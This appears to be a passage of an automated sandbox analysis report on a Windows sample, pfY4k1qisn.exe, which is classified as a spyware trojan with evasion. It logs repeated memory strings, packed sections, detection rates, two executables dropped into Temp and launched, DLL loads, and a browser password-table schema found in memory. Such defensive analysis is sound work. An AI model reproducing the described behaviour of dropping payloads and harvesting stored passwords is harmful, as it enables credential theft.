Source: pfY4k1qisn.exe, 00000000.00000003.2331974942.000000000609D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2343556357.000000000610A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2361259940.0000000005FED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2341491662.0000000005FE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2332824722.0000000005FEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2331303105.000000000609E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2337498481.00000000060D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2333383976.00000000060A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2335070401.0000000005FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2337641738.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2334743212.00000000060BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2347312991.0000000005FF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2334173329.00000000060B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2328420331.0000000005FE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2347916161.0000000005FE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2334599901.0000000005FE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2345083384.0000000006117000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2344093493.0000000005FE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2339154834.00000000060EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2368363018.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2329497924.0000000005E4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2340612509.0000000006205000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2342720214.0000000005FEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2328040268.0000000005CDC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2346495759.0000000005FE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2327734546.0000000005C66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2338995195.0000000005FF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2345421731.0000000005FED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2332520842.000000000614E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2368169569.0000000005D55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2338383403.0000000005FE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2335594297.00000000060CC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2327905016.0000000005D44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2345933978.000000000612E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2337803461.00000000060E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2329712322.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2328040268.0000000005D55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2336049518.00000000060C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2345754581.0000000005FF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2368263688.0000000005BEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2338206462.00000000060E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2338651725.00000000060D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2329822378.0000000005FF2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2347016205.0000000006128000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2339935304.0000000005FE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2346076598.0000000005FED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2347187100.0000000006280000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2330652151.0000000006134000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2343209423.0000000005FE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2341137521.0000000005FE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2331482482.0000000005FE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2344754795.0000000006254000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2333889723.000000000617D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2338837478.00000000061DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2330767718.0000000005FED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2337954909.0000000005FE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2340255535.00000000060F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2343776760.000000000623A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2337202119.00000000061C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2329915697.0000000006093000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2334910317.0000000006190000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2347718469.0000000006146000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2336821999.00000000060CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2342980795.0000000006110000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2330130243.0000000005FF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2327734546.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2339726921.00000000061ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2330541172.0000000006087000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2330426146.0000000005FE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2328248968.0000000005C66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2330012082.0000000005E46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2329599802.0000000005FF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2339583106.00000000060E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2336684475.0000000005FE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2328040268.0000000005C66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2327905016.0000000005DBB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2333515992.0000000005FE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2339324977.0000000005FE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2334309301.0000000005FED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2341775070.0000000006101000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2331780196.0000000005FE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2333658003.00000000060AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2334460952.00000000060BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2331146371.0000000005FE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2335263553.00000000060CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2335820356.0000000005FF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2342186038.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2340984414.0000000006103000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2368363018.0000000005B8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2336497448.00000000060CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2335426886.0000000005FEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2342407415.0000000006110000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2341288859.0000000006105000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2332388778.0000000006099000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2336257414.0000000005FE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2332176450.0000000005FEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2346664433.0000000006135000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2333062397.00000000060B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2341966056.0000000006219000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2345243995.0000000006251000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2331644363.00000000060A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2330317933.0000000006091000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2333242229.0000000005FEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe
Source: pfY4k1qisn.exe, 00000000.00000003.2344317875.000000000611B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs pfY4k1qisn.exe

Source: pfY4k1qisn.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: pfY4k1qisn.exe	Static PE information: Section: ZLIB complexity 0.997337863869863
Source: pfY4k1qisn.exe	Static PE information: Section: pgrebpvl ZLIB complexity 0.994899877951862

Source: 3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe.0.dr

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@1/3

Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\pfY4k1qisn.exe

File created: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe

Jump to behavior

Source: C:\Users\user\Desktop\pfY4k1qisn.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: pfY4k1qisn.exe, 00000000.00000003.2146239289.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp, pfY4k1qisn.exe, 00000000.00000003.2145899591.0000000005B67000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: pfY4k1qisn.exe	Virustotal: Detection: 54%
Source: pfY4k1qisn.exe	ReversingLabs: Detection: 60%

Source: C:\Users\user\Desktop\pfY4k1qisn.exe

File read: C:\Users\user\Desktop\pfY4k1qisn.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\pfY4k1qisn.exe "C:\Users\user\Desktop\pfY4k1qisn.exe"
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Process created: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe "C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe"
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Process created: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe "C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe"
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Process created: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe "C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe"	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Process created: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe "C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe"	Jump to behavior

Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe	Section loaded: winmm.dll	Jump to behavior
